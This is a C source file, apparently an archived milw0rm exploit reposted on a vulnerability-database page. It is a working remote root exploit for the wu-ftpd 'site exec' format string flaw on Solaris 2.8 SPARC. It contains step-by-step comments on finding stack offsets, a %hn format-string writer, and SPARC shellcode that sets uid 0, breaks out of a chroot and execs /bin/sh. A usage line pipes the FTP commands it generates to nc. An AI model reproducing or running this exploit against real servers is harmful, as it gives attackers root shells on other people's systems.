/*
**
** 12:40 11/10/00: Tool for either attack or defense
** within an information warfare setting. Rather, it
** is a small program demonstrating proof of concept.
** Default values for solaris 2.8 and inetd.
**
** If you are not the intended recipient, or a person
** responsible for delivering it to the intended
** recipient, you are not authorised to and must not
** disclose, copy, distribute, or retain this message
** or any part of it. Such unauthorised use may be
** unlawful.If you have received this transmission in
** error,please email us immediately at [email protected]
** so that we can arrange for its return.
**
** kalou <[email protected]>
**
** Usage:
**
** 0xfdc (4060) bytes after the ret position, you have:
**
** -HOSTNAME: anonymous/EGGSHELL
**
** This of course begins on a 4 bytes boundary.
**
** Check your hostname len. Align this with pad to have EGGSHELL on a
** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
**
** Use '%s' format bug exploitation to look for this string in memory.
** (you have to eat 15 words out of stack).
**
** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
** This substracted value is kept as the distance (-d).
** Result is your return address position (-w). Check it if you want.
**
** This code substracts 8 to this address (sparc ret behaviour).
**
** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
**
** adding 0x870 to this value, I found my string.
**
** offset should be useless. site_padding depends on the '/bin/ftp-exec/'
** config stuff.
**
** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
**
*/
/* Stolener Foundation */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef __linux
#include <getopt.h>
#endif
void *build_format_string(int where,
int what,
int gout,
int eat,
int pad)
{
int expected_len;
int what1, where1;
int what2, where2;
char w1[512];
char w2[512];
int i;
char *buf, *p;
/* generate two %hn len : */
what1 = (what >> 16) & 0xffff;
what2 = what & 0xffff;
fprintf(stderr, "what1: %0x\n", what1);
fprintf(stderr, "what2: %0x\n", what2);
if ( what1 > what2 ) {
where1 = where + 2;
where2 = where;
what1 -= what2;
} else {
where1 = where;
where2 = where + 2;
what2 -= what1;
}
fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout +
(eat - 1) * 12);
if (where1 < where2) {
what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
} else {
what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
}
fprintf(stderr, "%08x: writing first %s\n", what,
(where1 > where2) ? "what2" : "what1");
fprintf(stderr, "what1 is %08x, what2 is %08x\n",
what1, what2);
sprintf(w1, "%%0%dx%%hn", what1);
sprintf(w2, "%%0%dx%%hn", what2);
fprintf(stderr, "1: %s\n2: %s\n", w1, w2);
/* calculate expected len : */
expected_len = pad + 12 + (eat - 1) * 8
+ strlen(w1) + strlen(w2) + 1;
fprintf(stderr, "len is %d\n", expected_len);
buf = (char *) malloc(expected_len);
if ( buf == NULL)
return buf;
p = buf;
/* pad */
for (i = 0; i < pad; i++) {
*p++ = '.';
}
/* retaddr, part 1 - first %hn*/
*p++ = (where1 >> 24) & 0xff;
*p++ = (where1 >> 16) & 0xff;
*p++ = (where1 >> 8) & 0xff;
*p++ = (where1) & 0xff;
*p++ = 0x0f;
*p++ = 0x0e;
*p++ = 0x0e;
*p++ = 0x0f; /* so that the first %0(much)x eats something
/* retaddr, part 2 - second %hn */
*p++ = ((where2) >> 24) & 0xff;
*p++ = ((where2) >> 16) & 0xff;
*p++ = ((where2) >> 8) & 0xff;
*p++ = (where2) & 0xff;
/* eaters.. */
for (i = 0; i < (eat - 1); i++) {
strcpy(p, "%000012x");
p += 8;
}
/* what1, what2 */
if (what1 > what2) {
strcpy(p, w1);
strcpy(p + strlen(w1), w2);
} else {
strcpy(p, w2);
strcpy(p + strlen(w2), w1);
}
return buf;
}
void *ftp_escape(void *buf)
{
void *boh;
char *p = buf;
char *r;
boh = malloc(4096);
r = boh;
while (*p) {
*r++ = *p;
if ((*p) == '\xff')
*r++ = *p;
p++;
}
*r = '\0';
return boh;
}
void usage(char *me)
{
fprintf(stderr, "Usage : %s \n"
" [-w where (hexa) ] /* ret position */\n"
" 0 [-o offset ] /* or just offset, or both */\n"
"1010 [-d distance (hex)] /* distance to pass */\n"
" 2 [-s site_pad ] /* padding to site_exec */\n"
" 3 [-p pass_pad ] /* padding to eggshell */\n"
" 4 [-g gout ] /* output size (200-) */\n"
" 15 [-e eat ] /* pointers to eat */\n\n\n",
me);
exit(0);
}
main(int argc, char **argv)
{
char c;
int where, offset, distance, gout, site_pad, pass_pad, eat;
char *buf;
char break_sparc[] =
"\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0
"\x82\x10\x20\x17" // mov 23, %g1
"\x91\xd0\x20\x08" // ta 8 ! setuid(0)
"\xae\x10\x20\x2e" // mov 0x2e, %l7
"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]
"\x90\x23\xa0\x30" // sub %sp, 48, %o0
"\x82\x10\x20\x05" // mov 5, %g1
"\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1
"\x91\xd0\x20\x08" // ta 8 ! fd = open(".", 0);
"\xa6\x82\x20\x01" // addcc %o0, 1, %l3 !
"\xae\x10\x20\x6b" // mov 0x6b, %l7
"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]
"\x90\x23\xa0\x30" // sub %sp, 48, %o0
"\x92\x10\x21\xff" // mov 0x1ff, %o1
"\x82\x10\x20\x50" // mov 0x50, %g1
"\x91\xd0\x20\x08" // ta 8 ! mkdir("k", 0755)
"\x90\x23\xa0\x30" // sub %sp, 48, %o0
"\x82\x10\x20\x3d" // mov 0x3d, %g1
"\x91\xd0\x20\x08" // ta 8 ! chroot("k")
"\x90\x24\xe0\x01" // sub %l3, 1, %o0
"\x82\x10\x20\x78" // mov 0x78, %g1
"\x91\xd0\x20\x08" // ta 8 ! fchdir(fd)
"\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7
"\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7
"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! ../.
"\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7
"\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7
"\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ] ! /../
"\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ]
"\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ]
"\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ]
"\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ]
"\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ]
"\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ] ! .././..//..//../(ad lib)
"\xc0\x23\xbf\xf0" // clr [ %sp - 16 ]
"\x82\x10\x20\x0c" // mov 0xc, %g1
"\x90\x23\xa0\x30" // sub %sp, 48, %o0
"\x91\xd0\x20\x08" // ta 8 ! chdir(".././../...")
"\xae\x10\x20\x2e" // mov 0x2e, %l7
"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! stupido. anyway.
"\x90\x23\xa0\x30" // sub %sp, 48, %o0
"\x82\x10\x20\x3d" // mov 0x3d, %g1
"\x91\xd0\x20\x08" // ta 8
"\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6 ! no more mine.
"\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6
"\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
"\x90\x0b\x80\x0e" // and %sp, %sp, %o0
"\x92\x03\xa0\x08" // add %sp, 8, %o1
"\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2
"\x9c\x03\xa0\x10" // add %sp, 16, %sp
"\xec\x3b\xbf\xf0" // std %l6, [%sp-16]
"\xd0\x23\xbf\xf8" // st %o0, [%sp-8]
"\xc0\x23\xbf\xfc" // st %g0, [%sp-4]
"\x82\x10\x20\x3b" // mov 59, %g1
"\x91\xd0\x20\x08" // ta 8
"\x91\xd0\x20\x08"; // ta 8
offset = 0;
where = 0xffbeeed4;
distance = 0x1004;
gout = 4;
eat = 15;
site_pad = 2;
pass_pad = 3;
while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
switch(c) {
case 'w':
where = strtoul(optarg, NULL, 16);
break;
case 'o':
offset = atoi(optarg);
break;
case 'd':
distance = strtoul(optarg, NULL, 16);
break;
case 'e':
eat = atoi(optarg);
break;
case 'g':
gout = atoi(optarg);
break;
case 's':
site_pad = atoi(optarg) % 4;
break;
case 'p':
pass_pad = atoi(optarg) % 4;
break;
default:
usage(argv[0]);
}
}
where += offset;
fprintf(stderr, "ret [%x]:%x\n"
"ppad %d\n"
"spad %d\n"
"gout %d\n"
"eat %d\n",
where, where + distance,
pass_pad, site_pad, gout, eat);
printf("user ftp\n");
buf = ftp_escape(break_sparc);
printf("pass %.*s%s\n", pass_pad, "xxxx", buf);
buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
buf = ftp_escape(buf);
printf ("site exec %s\n", buf);
}
// milw0rm.com [2001-01-03]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation